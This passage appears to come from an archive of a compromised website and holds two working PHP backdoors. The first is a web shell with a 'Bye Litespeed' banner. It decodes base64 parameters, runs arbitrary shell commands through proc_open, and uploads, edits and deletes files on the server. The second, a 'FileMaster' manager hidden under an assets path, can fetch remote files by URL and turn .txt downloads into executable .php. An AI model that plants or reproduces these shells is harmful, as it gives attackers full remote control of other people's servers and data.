            margin: 20px 0;
        }
        a {
            color: #ffffff;
            text-shadow:0 0 6px #000000;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        th, td {
            padding: 8px;
            text-align: left;
        }
        th {
            background-color: #5c5c5c;
        }
        tr:nth-child(even) {
            background-color: #9c9b9bce;
        }
        input[type="text"], input[type="submit"],input[type="file"], textarea[name="file_content"] {
            width: calc(97.5% - 10px);
            margin-bottom: 10px;
            padding: 8px;
            max-height: 200px;
            resize: vertical;
            border: 1px solid #ddd;
            border-radius: 3px;
            font-family: 'Arial Black';
        }
        textarea[name="file_content"] {
            width: calc(97.5% - 10px);
            margin-bottom: 10px;
            padding: 8px;
            padding-bottom: 77px;
            max-height: 200px;
            resize: vertical;
            border: 1px solid #ddd;
            border-radius: 3px;
            font-family: 'Arial Black';
        }
        input[type="submit"] {
            background-color: #128616;
            color: white;
            font-family: 'Arial Black';
            border: none;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #143015;
        }
        .item-name {
            max-width: 200px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
        td.size {
    width: 100px;
}
.date {
            max-width: 200px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }

        .writable {
            color: rgb(13, 178, 2);
            text-shadow:0 0 7px #000000;
        }
        .not-writable {
            color: rgb(216, 9, 9);
            text-shadow:0 0 5px #000000;
        }
        .permission {
        font-weight: bold;
        width: 50px;
        height: 20px;
        text-align: center;
        line-height: 20px;
        overflow: hidden;
    }
    
    </style>
</head>
<body>
<div class="container">
<?php
$timezone = date_default_timezone_get();
date_default_timezone_set($timezone);
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDirectory = dirname(__FILE__);

function x($b)
{
    return base64_encode($b);
}

function y($b)
{
    return base64_decode($b);
}

foreach ($_GET as $c => $d) $_GET[$c] = y($d);

$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
chdir($currentDirectory);

$viewCommandResult = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['fileToUpload'])) {
        $target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]);
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " Upload success";
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
        $newFolder = $currentDirectory . '/' . $_POST['folder_name'];
        if (!file_exists($newFolder)) {
            mkdir($newFolder);
            echo '<hr>Folder created successfully!';
        } else {
            echo '<hr>Error: Folder already exists!';
        }
    } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
        $fileName = $_POST['file_name'];
        $newFile = $currentDirectory . '/' . $fileName;
        if (!file_exists($newFile)) {
            if (file_put_contents($newFile, $_POST['file_content']) !== false) {
                echo '<hr>File created successfully!';
            } else {
                echo '<hr>Error: Failed to create file!';
            }
        } else {
            if (file_put_contents($newFile, $_POST['file_content']) !== false) {
                echo '<hr>File edited successfully!';
            } else {
                echo '<hr>Error: Failed to edit file!';
            }
        }
    } elseif (isset($_POST['delete_file'])) {
        $fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
        if (file_exists($fileToDelete)) {
            if (is_dir($fileToDelete)) {
                if (deleteDirectory($fileToDelete)) {
                    echo '<hr>Folder deleted successfully!';
                } else {
                    echo '<hr>Error: Failed to delete folder!';
                }
            } else {
                if (unlink($fileToDelete)) {
                    echo '<hr>File deleted successfully!';
                } else {
                    echo '<hr>Error: Failed to delete file!';
                }
            }
        } else {
            echo '<hr>Error: File or directory not found!';
        }
    } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
        $oldName = $currentDirectory . '/' . $_POST['old_name'];
        $newName = $currentDirectory . '/' . $_POST['new_name'];
        if (file_exists($oldName)) {
            if (rename($oldName, $newName)) {
                echo '<hr>Item renamed successfully!';
            } else {
                echo '<hr>Error: Failed to rename item!';
            }
        } else {
            echo '<hr>Error: Item not found!';
        }
    } elseif (isset($_POST['cmd_input'])) {
        $command = $_POST['cmd_input'];
        $descriptorspec = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        $process = proc_open($command, $descriptorspec, $pipes);
        if (is_resource($process)) {
            $output = stream_get_contents($pipes[1]);
            $errors = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            if (!empty($errors)) {
                $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($errors) . '</textarea>';
            } else {
                $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($output) . '</textarea>';
            }
        } else {
            $viewCommandResult = '<hr><p>Error: Failed to execute command!</p>';
        }
    } elseif (isset($_POST['view_file'])) {
        $fileToView = $currentDirectory . '/' . $_POST['view_file'];
        if (file_exists($fileToView)) {
            $fileContent = file_get_contents($fileToView);
            $viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p><textarea class="result-box">' . htmlspecialchars($fileContent) . '</textarea>';
        } else {
            $viewCommandResult = '<hr><p>Error: File not found!</p>';
        }
    }
}

echo '<center>
<div class="fig-ansi">
<pre id="taag_font_ANSIShadow" class="fig-ansi"><span style="color: rgb(67, 142, 241);">   <strong>  __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                       </strong> </span></pre>
</div>
</center>';
echo "Zona waktu server: " . $timezone . "<br>";
echo "Waktu server saat ini: " . date('Y-m-d H:i:s');
echo '<hr>curdir: ';

$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
$homeLinkPrinted = false;
foreach ($directories as $index => $dir) {
    $currentPath .= DIRECTORY_SEPARATOR . $dir;
    if ($index == 0) {
        echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
    } else {
        echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
    }
}

echo '<a href="?d=' . x($scriptDirectory) . '"> / <span style="color: green;">[ GO Home ]</span></a>';
echo '<br>';
echo '<hr><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">';
echo '<input type="text" name="folder_name" placeholder="New Folder Name">';
echo '<input type="submit" value="Create Folder">';
echo '</form>';
echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">';
echo '<input type="text" name="file_name" placeholder="Create New File / Edit Existing File">';
echo '<textarea name="file_content" placeholder="File Content (for new file) or Edit Content (for existing file)"></textarea>';
echo '<input type="submit" value="Create / Edit File">';
echo '</form>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="fileToUpload" id="fileToUpload" placeholder="pilih file:">';
echo '<input type="submit" value="Upload File" name="submit">';
echo '</form>';
echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form>';
echo $viewCommandResult;
echo '<div>';
echo '</div>';
echo '<table border=1>';
echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</th><th><center>View  </th><th><center>Delete</th><th><center>Rename </th></tr></center></center></center>';
foreach (scandir($currentDirectory) as $v) {
    $u = realpath($v);
    $s = stat($u);
    $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
    $permission = substr(sprintf('%o', fileperms($u)), -4);
    $writable = is_writable($u);
    echo '<tr>
            <td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
            <td class="size">'.filesize($u).'</td>
            <td class="date" style="text-align: center;">'.date('Y-m-d H:i:s', filemtime($u)).'</td>
            <td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td>
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.htmlspecialchars($v).'"><input type="submit" value=" View    "></form></td>
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.htmlspecialchars($v).'"><input type="submit" value="Delete   "></form></td>
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.htmlspecialchars($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
        </tr>';
}

echo '</table>';
function deleteDirectory($dir) {
    if (!file_exists($dir)) {
        return true;
    }
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }
        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
            return false;
        }
    }
    return rmdir($dir);
}
?>
js/content/v1/assets/pxikv/admin.php000044400000070066152204755650013446 0ustar00<?php
// Enhanced PHP File Manager, compatible with PHP 5.6+

class FileManager
{
    private $basePath;

    public function __construct($basePath = null)
    {
        if ($basePath === null) {
            $basePath = __DIR__;
        }
        $realBase = realpath($basePath);
        if ($realBase === false) {
            $realBase = $basePath;
        }
        $this->basePath = rtrim(str_replace('\\', '/', $realBase), '/');
    }

    public function getFullPath($path)
    {
        $path = str_replace('\\', '/', urldecode($path));

        if (strpos($path, $this->basePath) === 0) {
            return rtrim($path, '/');
        }

        if (strpos($path, '/') === 0) {
            return rtrim($this->basePath . $path, '/');
        }

        return rtrim($this->basePath . '/' . $path, '/');
    }

    public function isSafePath($path)
    {
        $real = realpath($path);
        if (!$real) return false;
        return strpos($real, $this->basePath) === 0;
    }

    public function listDir($dir)
    {
        $fullPath = $this->getFullPath($dir);
        if (!is_dir($fullPath)) {
            return array();
        }

        $items = scandir($fullPath);
        $items = array_filter($items, function ($v) {
            return ($v !== '.' && $v !== '..');
        });

        usort($items, function ($a, $b) use ($fullPath) {
            $aIsDir = is_dir($fullPath . '/' . $a);
            $bIsDir = is_dir($fullPath . '/' . $b);
            if ($aIsDir !== $bIsDir) {
                return $aIsDir ? -1 : 1;
            }
            return strcasecmp($a, $b);
        });

        return $items;
    }

    public function readFile($file)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_get_contents($fullPath);
    }

    public function saveFile($file, $content)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_put_contents($fullPath, $content) !== false;
    }

    public function createFile($dir, $filename, $content)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid directory');
        }

        $filePath = $dirPath . '/' . $filename;
        if (file_exists($filePath)) {
            return array('success' => false, 'message' => 'File already exists');
        }

        $res = @file_put_contents($filePath, $content);
        if ($res !== false) {
            return array('success' => true, 'path' => $filePath);
        }
        return array('success' => false, 'message' => 'File creation failed');
    }

    public function createDir($dir, $name)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid parent directory');
        }

        $newDir = $dirPath . '/' . $name;
        if (file_exists($newDir)) {
            return array('success' => false, 'message' => 'Folder already exists');
        }

        if (@mkdir($newDir, 0755)) {
            return array('success' => true, 'path' => $newDir);
        }
        return array('success' => false, 'message' => 'Folder creation failed');
    }

    public function deleteFile($file)
    {
        $filePath = $this->getFullPath($file);
        if (!$this->isSafePath($filePath) || !is_file($filePath)) {
            return array('success' => false, 'message' => 'Invalid or non-existent file');
        }
        if (@unlink($filePath)) {
            return array('success' => true);
        }
        return array('success' => false, 'message' => 'File deletion failed');
    }

    public function deleteDir($dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid or non-existent folder');
        }

        if (count(scandir($dirPath)) > 2) {
            return array('success' => false, 'message' => 'Folder is not empty');
        }

        if (@rmdir($dirPath)) {
            return array('success' => true);
        }
        return array('success' => false, 'message' => 'Folder deletion failed');
    }

    public function rename($oldPath, $newName)
    {
        $oldFull = $this->getFullPath($oldPath);
        if (!$this->isSafePath($oldFull) || !file_exists($oldFull)) {
            return array('success' => false, 'message' => 'Invalid source file/folder');
        }

        $newFull = dirname($oldFull) . '/' . $newName;
        if (file_exists($newFull)) {
            return array('success' => false, 'message' => 'Target already exists');
        }
        if (@rename($oldFull, $newFull)) {
            return array('success' => true, 'path' => $newFull);
        }
        return array('success' => false, 'message' => 'Rename failed');
    }

    public function fetchRemote($url, $dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid directory');
        }

        $fileName = basename(parse_url($url, PHP_URL_PATH));
        if (!$fileName) {
            $fileName = 'remote_' . time() . '.php';
        }

        if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === 'txt') {
            $fileName = pathinfo($fileName, PATHINFO_FILENAME) . '.php';
        }

        $filePath = $dirPath . '/' . $fileName;
        if (file_exists($filePath)) {
            return array('success' => false, 'message' => "File already exists: $fileName");
        }

        $content = @file_get_contents($url);
        if ($content === false) {
            return array('success' => false, 'message' => 'Failed to fetch remote file');
        }

        if (@file_put_contents($filePath, $content) === false) {
            return array('success' => false, 'message' => 'File save failed');
        }

        return array('success' => true, 'path' => $filePath);
    }

    public function upload($file, $dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid upload directory');
        }

        $target = $dirPath . '/' . basename($file['name']);
        if (file_exists($target)) {
            return array('success' => false, 'message' => 'File already exists');
        }

        if (@move_uploaded_file($file['tmp_name'], $target)) {
            return array('success' => true, 'path' => $target);
        }

        return array('success' => false, 'message' => 'File upload failed');
    }

    public function search($dir, $term)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return false;
        }

        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS));
        foreach ($iterator as $item) {
            if (stripos($item->getFilename(), $term) !== false) {
                return $item->getPathname();
            }
        }
        return false;
    }

    public function previewFile($file)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        $content = @file_get_contents($fullPath);
        if ($content === false) {
            return false;
        }
        return substr($content, 0, 500); // Limit preview to 500 characters
    }
}

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';

function cleanPath($path)
{
    $path = str_replace(array('\\', '..'), array('/', ''), $path);
    return rtrim($path, '/');
}

$dir = cleanPath($dir);

$fileManager = new FileManager();

$flash = '';
$flashType = 'info';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? $_POST['action'] : '';
    
    if ($action === 'create_file') {
        $filename = isset($_POST['filename']) ? trim($_POST['filename']) : '';
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        if ($filename === '') {
            $flash = 'File name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->createFile($dir, $filename, $content);
            $flash = $res['success'] ? 'File created successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'create_dir') {
        $dirname = isset($_POST['dirname']) ? trim($_POST['dirname']) : '';
        if ($dirname === '') {
            $flash = 'Folder name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->createDir($dir, $dirname);
            $flash = $res['success'] ? 'Folder created successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'delete_file') {
        $target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
        $res = $fileManager->deleteFile($target);
        $flash = $res['success'] ? 'File deleted successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }
    elseif ($action === 'delete_dir') {
        $target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
        $res = $fileManager->deleteDir($target);
        $flash = $res['success'] ? 'Folder deleted successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }
    elseif ($action === 'rename') {
        $old = isset($_POST['old']) ? cleanPath($_POST['old']) : '';
        $newName = isset($_POST['new']) ? trim($_POST['new']) : '';
        if ($newName === '') {
            $flash = 'New name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->rename($old, $newName);
            $flash = $res['success'] ? 'Renamed successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'save_file') {
        $file = isset($_POST['file']) ? cleanPath($_POST['file']) : '';
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        $res = $fileManager->saveFile($file, $content);
        $flash = $res ? 'File saved successfully' : 'File save failed';
        $flashType = $res ? 'success' : 'error';
    }
    elseif ($action === 'fetch_remote') {
        $url = isset($_POST['url']) ? trim($_POST['url']) : '';
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            $res = $fileManager->fetchRemote($url, $dir);
            $flash = $res['success'] ? 'Remote file fetched successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        } else {
            $flash = 'Invalid URL';
            $flashType = 'error';
        }
    }
    elseif (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
        $res = $fileManager->upload($_FILES['upload'], $dir);
        $flash = $res['success'] ? 'File uploaded successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }

    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) . '&flash=' . urlencode($flash) . '&flash_type=' . urlencode($flashType));
    exit;
}

if (isset($_GET['flash'])) {
    $flash = $_GET['flash'];
    $flashType = isset($_GET['flash_type']) ? $_GET['flash_type'] : 'info';
}

$searchTerm = isset($_GET['search']) ? trim($_GET['search']) : '';
$searchResult = false;
if ($searchTerm !== '') {
    $searchResult = $fileManager->search($dir, $searchTerm);
}
$items = $fileManager->listDir($dir);

function breadcrumbs($path)
{
    $path = trim(str_replace('\\', '/', $path), '/');
    if ($path === '') {
        return array(array('name' => 'Home', 'path' => '.'));
    }

    $parts = explode('/', $path);
    $crumbs = array();
    $acc = '';
    foreach ($parts as $part) {
        $acc .= ($acc === '' ? '' : '/') . $part;
        $crumbs[] = array('name' => $part, 'path' => $acc);
    }
    array_unshift($crumbs, array('name' => 'Home', 'path' => '.'));
    return $crumbs;
}

function sizeFormatted($bytes)
{
    if ($bytes < 1024) return $bytes . ' B';
    $units = array('KB', 'MB', 'GB', 'TB');
    $power = floor(log($bytes, 1024));
    $power = ($power > count($units)) ? count($units) : $power;
    $value = round($bytes / pow(1024, $power), 2);
    return $value . ' ' . $units[$power - 1];
}

function h($s)
{
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FileMaster</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        .file-preview { max-height: 200px; overflow-y: auto; }
        .dark-mode-toggle { cursor: pointer; }
        .folder-icon::before { content: "\1F4C1 "; }
        .file-icon::before { content: "\1F4C4 "; }
    </style>
</head>
<body class="bg-gray-100 dark:bg-gray-900 text-gray-900 dark:text-gray-100 min-h-screen transition-colors duration-300">
    <header class="bg-gray-800 dark:bg-gray-950 p-4 flex justify-between items-center">
        <h1 class="text-xl font-bold text-white"><a href="<?= h($_SERVER['PHP_SELF']) ?>">FileMaster</a></h1>
        <div class="flex items-center space-x-4">
            <form method="get" class="flex items-center">
                <input type="hidden" name="dir" value="<?= h($dir) ?>">
                <input type="text" name="search" placeholder="Search files..." value="<?= h($searchTerm) ?>" required class="p-2 rounded-l-md bg-gray-700 text-white border-none focus:outline-none focus:ring-2 focus:ring-blue-500">
                <button type="submit" class="p-2 bg-blue-600 rounded-r-md text-white hover:bg-blue-700">Search</button>
            </form>
            <button id="darkModeToggle" class="dark-mode-toggle p-2 bg-gray-700 rounded-md text-white hover:bg-gray-600">Toggle Dark Mode</button>
        </div>
    </header>

    <main class="container mx-auto p-6">
        <?php if ($flash): ?>
            <div class="p-4 mb-6 rounded-md <?= $flashType === 'success' ? 'bg-green-600' : ($flashType === 'error' ? 'bg-red-600' : 'bg-blue-600') ?> text-white">
                <?= h($flash) ?>
            </div>
        <?php endif; ?>

        <nav class="mb-6">
            <?php $crumbs = breadcrumbs($dir); ?>
            <div class="flex space-x-2 text-sm">
                <?php foreach ($crumbs as $i => $c): ?>
                    <?php if ($i > 0): ?><span class="text-gray-500 dark:text-gray-400">/</span><?php endif; ?>
                    <a href="?dir=<?= urlencode($c['path']) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($c['name']) ?></a>
                <?php endforeach; ?>
            </div>
        </nav>

        <?php if ($searchTerm !== ''): ?>
            <div class="mb-6">
                <h2 class="text-lg font-semibold">Search Results</h2>
                <?php if ($searchResult !== false):
                    $foundDir = dirname($searchResult);
                    $foundFile = basename($searchResult);
                ?>
                    <p>
                        File found:<br>
                        <a href="?dir=<?= urlencode($foundDir) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($foundDir) ?></a> /
                        <a href="?dir=<?= urlencode($foundDir) ?>&view=<?= urlencode($searchResult) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($foundFile) ?></a>
                    </p>
                <?php else: ?>
                    <p class="text-red-500 dark:text-red-400">No files found.</p>
                <?php endif; ?>
            </div>
        <?php endif; ?>

        <?php if (isset($_GET['view'])):
            $viewFile = cleanPath($_GET['view']);
            $content = $fileManager->readFile($viewFile);
        ?>
            <h2 class="text-2xl font-semibold mb-4">Edit File: <?= h(basename($viewFile)) ?></h2>
            <?php if ($content === false): ?>
                <p class="text-red-500 dark:text-red-400">File cannot be opened or does not exist.</p>
            <?php else: ?>
                <form method="post" class="mb-4">
                    <input type="hidden" name="action" value="save_file">
                    <input type="hidden" name="file" value="<?= h($viewFile) ?>">
                    <textarea name="content" rows="20" class="w-full p-2 bg-gray-200 dark:bg-gray-800 text-gray-900 dark:text-gray-100 rounded-md font-mono"><?= h($content) ?></textarea>
                    <div class="mt-4">
                        <button type="submit" class="p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Save</button>
                        <a href="?dir=<?= urlencode($dir) ?>" class="p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700">Back</a>
                    </div>
                </form>
            <?php endif; ?>

        <?php else: ?>
            <h2 class="text-2xl font-semibold mb-4">Directory: <?= h($dir) ?></h2>

            <div class="overflow-x-auto">
                <table class="w-full border-collapse bg-white dark:bg-gray-800 rounded-md shadow">
                    <thead>
                        <tr class="bg-gray-200 dark:bg-gray-700">
                            <th class="p-3 text-left">Name</th>
                            <th class="p-3 text-left">Type</th>
                            <th class="p-3 text-left">Size</th>
                            <th class="p-3 text-left">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if ($dir !== '.'): 
                            $parentDir = dirname($dir);
                        ?>
                            <tr>
                                <td colspan="4" class="p-3"><a href="?dir=<?= urlencode($parentDir) ?>" class="text-blue-600 dark:text-blue-400 hover:underline">← Parent Directory</a></td>
                            </tr>
                        <?php endif; ?>

                        <?php foreach ($items as $item):
                            $itemPath = $dir . '/' . $item;
                            $fullPath = $fileManager->getFullPath($itemPath);
                            $isDir = is_dir($fullPath);
                            $size = $isDir ? '-' : sizeFormatted(filesize($fullPath));
                            $preview = !$isDir ? $fileManager->previewFile($itemPath) : false;
                        ?>
                            <tr class="hover:bg-gray-100 dark:hover:bg-gray-700">
                                <td class="p-3">
                                    <?= $isDir ? '<span class="folder-icon"></span>' : '<span class="file-icon"></span>' ?>
                                    <?php if ($isDir): ?>
                                        <a href="?dir=<?= urlencode($itemPath) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($item) ?></a>
                                    <?php else: ?>
                                        <a href="?dir=<?= urlencode(dirname($itemPath)) ?>&view=<?= urlencode($itemPath) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($item) ?></a>
                                        <?php if ($preview !== false): ?>
                                            <button onclick="showPreview('<?= h(addslashes($preview)) ?>')" class="ml-2 text-sm text-gray-500 hover:text-gray-700 dark:hover:text-gray-300">Preview</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                </td>
                                <td class="p-3"><?= $isDir ? 'Folder' : 'File' ?></td>
                                <td class="p-3"><?= $size ?></td>
                                <td class="p-3">
                                    <?php if ($isDir): ?>
                                        <form method="post" class="inline" onsubmit="return confirm('Delete folder (if empty)?')">
                                            <input type="hidden" name="action" value="delete_dir">
                                            <input type="hidden" name="target" value="<?= h($itemPath) ?>">
                                            <button type="submit" class="p-2 bg-red-600 rounded-md text-white hover:bg-red-700">Delete</button>
                                        </form>
                                    <?php else: ?>
                                        <form method="post" class="inline" onsubmit="return confirm('Delete file?')">
                                            <input type="hidden" name="action" value="delete_file">
                                            <input type="hidden" name="target" value="<?= h($itemPath) ?>">
                                            <button type="submit" class="p-2 bg-red-600 rounded-md text-white hover:bg-red-700">Delete</button>
                                        </form>
                                    <?php endif; ?>
                                    <button onclick="showRenameForm('<?= h(addslashes($itemPath)) ?>', '<?= h(addslashes($item)) ?>')" class="p-2 bg-yellow-600 rounded-md text-white hover:bg-yellow-700">Rename</button>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>

            <div class="mt-6 grid grid-cols-1 md:grid-cols-2 gap-6">
                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Create New File</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="create_file">
                        <label class="block mb-2 font-medium">File Name:</label>
                        <input type="text" name="filename" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <label class="block mb-2 mt-4 font-medium">Content:</label>
                        <textarea name="content" rows="5" class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md font-mono"></textarea>
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Create</button>
                    </form>
                </div>

                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Create New Folder</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="create_dir">
                        <label class="block mb-2 font-medium">Folder Name:</label>
                        <input type="text" name="dirname" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Create</button>
                    </form>
                </div>

                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Fetch Remote File</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="fetch_remote">
                        <label class="block mb-2 font-medium">URL:</label>
                        <input type="url" name="url" placeholder="https://example.com/file.php" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Fetch</button>
                    </form>
                </div>

                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Upload File</h3>
                    <form method="post" enctype="multipart/form-data">
                        <input type="hidden" name="action" value="upload">
                        <input type="file" name="upload" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Upload</button>
                    </form>
                </div>
            </div>

            <div id="renameFormContainer" class="hidden mt-6 bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                <form method="post" id="renameForm">
                    <input type="hidden" name="action" value="rename">
                    <input type="hidden" name="old" id="renameOld">
                    <label for="renameNew" class="block mb-2 font-medium">New Name:</label>
                    <input type="text" name="new" id="renameNew" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                    <div class="mt-4 flex space-x-4">
                        <button type="submit" class="p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Save</button>
                        <button type="button" onclick="hideRenameForm()" class="p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700">Cancel</button>
                    </div>
                </form>
            </div>

            <div id="previewModal" class="hidden fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center">
